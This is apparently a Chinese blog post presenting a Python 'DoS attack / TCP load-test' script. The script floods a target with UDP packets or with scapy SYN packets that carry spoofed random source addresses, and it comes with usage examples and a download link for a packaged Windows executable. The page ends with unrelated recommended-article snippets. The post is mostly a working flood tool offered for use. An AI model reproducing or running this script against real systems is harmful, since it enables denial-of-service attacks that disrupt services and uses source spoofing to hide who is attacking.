python DOS 攻击,TCP压测脚本
pip3 install string&&scapy
1 #!/usr/bin env python
2 #-*-coding:utf-8-*-
3 import socket,random,string
4 import time,sys
5 from scapy.all import *
6 from concurrent import futures
7 class Dos:
8 def __init__(self,t_ype,sip,dip,port,pps,dos_time):
9 self.t_ype = t_ype
10 self.sip = sip
11 self.dip = dip
12 self.port = port
13 self.pps = pps
14 self.dos_time = dos_time
15 self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16 def _udp(self,work_id):
17 count = 0
18 while count<self.dos_time:
19 try:
20 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21 sk.bind((self.sip,0))
22 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23 except Exception as e:
24 print(e)
25 time.sleep(0.01)
26 count+=0.01
27 def _tcp(self,work_id):
28 count = 0
29 sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30 syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31 while count<self.dos_time:
32 try:
33 send(syn,verbose=0,inter=0.01,count=100)
34 except Exception as e:
35 print(e)
36 time.sleep(1) #100个tcp连接
37 count+=1
38 def run(self):
39 if self.t_ype.upper() == 'UDP':
40 func = self._udp
41 pps = self.pps//8+1
42 unit ='Mpps'
43 count = pps*8
44 elif self.t_ype.upper()=='TCP':
45 func = self._tcp
46 pps = self.pps//100+1
47 unit = 'Connetcions'
48 count = pps*100
49 work_id = [x for x in range(pps)]
50 print('''SourceIp:%s
51 DestiantionIp:%s
52 DstPort:%s
53 %s:%s %s
54 KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55 with futures.ThreadPoolExecutor(100) as executor:
56 res = executor.map(func, work_id)
57 if __name__=='__main__':
58 try:
59 t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60 dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61 dos.run()
62 except:
63 print('argv:')
64 print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65 print(' SourceIp:TCP can be a fake IP,UDP cannot ')
66 print(' Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67 print('example:')
68 print(' ./dos udp 10.0.3.108 10.0.64.74 1111 10 5')
69 print(' ./dos tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70
71
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 # pps = pps//8+1
76 # print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 # for x in range(pps):
82 # p = Process(target=run,args=(sip,dip,port,dos_time))
83 # p.start()
windows 打包exe
链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05
python DOS 攻击,TCP压测脚本的更多相关文章
- python join()方法的使用,可以应用到tcp压测发送指定数据长度的应用
Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串.其中,序列中的元素应是字符串类型. 学习join()方法主要是为了配合随机数的使用,生产某个指定位数的随机数,在t ...
- 手把手用Monkey写一个压测脚本
版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 允许有条件转载,转载请附带底部二维码. 一.为什么需要一个测试脚本? 昨天讲解了Android Monkey命 ...
- 一文揭秘测试平台中是如何将测试用例一键转化Jmeter压测脚本
接上篇,一键转化将接口测试平台测试用例转化成Jmeter压测脚本思路,这里我首先在java 上面做了一个简单的实验,看看 转化的中间遇到的问题,这里呢,我只是给了一个简单的demo 版本, ...
- python服务端多进程压测工具
本文描述一个python实现的多进程压测工具,这个压测工具的特点如下: 多进程 在大多数情况下,压测一般适用于IO密集型场景(如访问接口并等待返回),在这种场景下多线程多进程的区分并不明显(详情请参见 ...
- jmeter压测脚本编写与静态文件处理
一.压测脚本编写 概述:工具为谷歌浏览器-->F12-->Network,访问被测站点,通过其中的请求的地方来构造压测脚本 二.静态文件处理 概述:静态文件包括css/js/图片等,它们有 ...
- JMeter扩展Java请求实现WebRTC本地音视频推流压测脚本
WebRTC是Web Real-Time Communication缩写,指网页即时通讯,是一个支持Web浏览器进行实时语音或视频对话的API,实现了基于网页的视频会议,比如声网的Agora Web ...
- ab压力测试工具-批量压测脚本
ab(Apache benchmark)是一款常用的压力测试工具.简单易用,ab的命令行一次只能支持一次测试.如果想要批量执行不同的测试方式,并自动对指标进行分析,那么单靠手工一条一条命令运行ab,估 ...
- 无界面运行Jmeter压测脚本 --后知者
原文作者---后知者 原文地址:http://www.cnblogs.com/houzhizhe/p/8119735.html [后知者的故事]:针对单一接口压测时出现了从未遇到的问题,设好并发量后用 ...
- nginx、php-fpm、swoole HTTP/TCP压测对比
本次测试是在win7下docker环境中进行压测,共创建一个nginx容器.一个php-fpm容器和一个swoole容器,客户端请求nginx服务器,nginx接收用户访问请求并转发给php-fpm, ...
随机推荐
- GlusterFS(GFS) 分布式存储
GlusterFS(GFS) 分布式存储 GFS 分布式文件系统 目录 一: GlusterFS 概述 1.1 GlusterFS 简介 1.2 GlusterFS特点 1.2.1 扩展性和高性能 ...
- 开发一个自己的 CSS 框架(四)
这一节,我们来讲规矩,谈网格,做人可以不要脸,不讲规矩,不讲道理(特指傲娇兽),但底线还是要有的,如同网格一样,不能超出. jeet 这里我们别人封装好的模块,不过呢,我们也会详细介绍一下原理.首先我 ...
- 开源HTML5游戏引擎Kiwi.js 1.0正式发布
Kiwi.js是由GameLab开发的一款全新的开源HTML5 JavaScript游戏引擎.在经过一年多的开发和测试之后,终于在日前正式发布了Kiwi.js 1.0版本. 其创始人Dan Milwa ...
- java中什么是内部类?它有什么用?如何使用?
什么是内部类?马克-to-win:一句话:类中还有类.里边的叫内部类, 外边的叫外层类.有什么用?1)像文件夹一样,文件放文件夹里更清晰,内部类放外层类中, 清晰.主要从编程序的逻辑角度出发,有用.比 ...
- 修改Menu_item的字体属性
前面一直在找 MenuItem的文字颜色的设置.我发现API中只有背景颜色的设置... 所以找到下面的方法.在OverFlow上看到的.在onCreateOptionsMenu中覆写一下, 使Menu ...
- tomcat 安装配置及问题解决
最近没写程序 刚想运行一个jsp程序发现tomcat出现一些问题,然后就重新装了程序,重新配置 总结经验就是不要怕报错,把错误复制下来,百度里面都有解决办法 要安装与自己jdk版本相匹配的tomcat ...
- (ICONIP2021)On the Unreasonable Effectiveness of Centroids in Image
目录 摘要 1.引言 2.提出的方法 2.1 CentroidTripletloss 2.2 聚合表示 3.实验 3.1 数据集 3.2 应用细节 3.3 Fashion检索结果 3.4 行人再识别结 ...
- caioj 1002: [视频]实数运算2[水题]
题意:输入三个数,计算并输出它们的平均值以及三个数的乘积,结果保留2位小数. 题解:简单题不写题解了-- 代码: #include <cstdio> double a, b, c; int ...
- 在Wireshark中使用过滤器——显示过滤器
在Wireshark运行过程中选择搜索(Ctrl-F),第一个默认的搜索选项就是显示过滤器. 显示过滤器用于捕获文件,用来告诉Wireshark只显示那些符合过滤条件的数据包. 显示过滤器比捕获过滤器 ...
- golang 中 sync.Mutex 的实现
mutex 的实现思想 mutex 主要有两个 method: Lock() 和 Unlock() Lock() 可以通过一个 CAS 操作来实现 func (m *Mutex) Lock() { f ...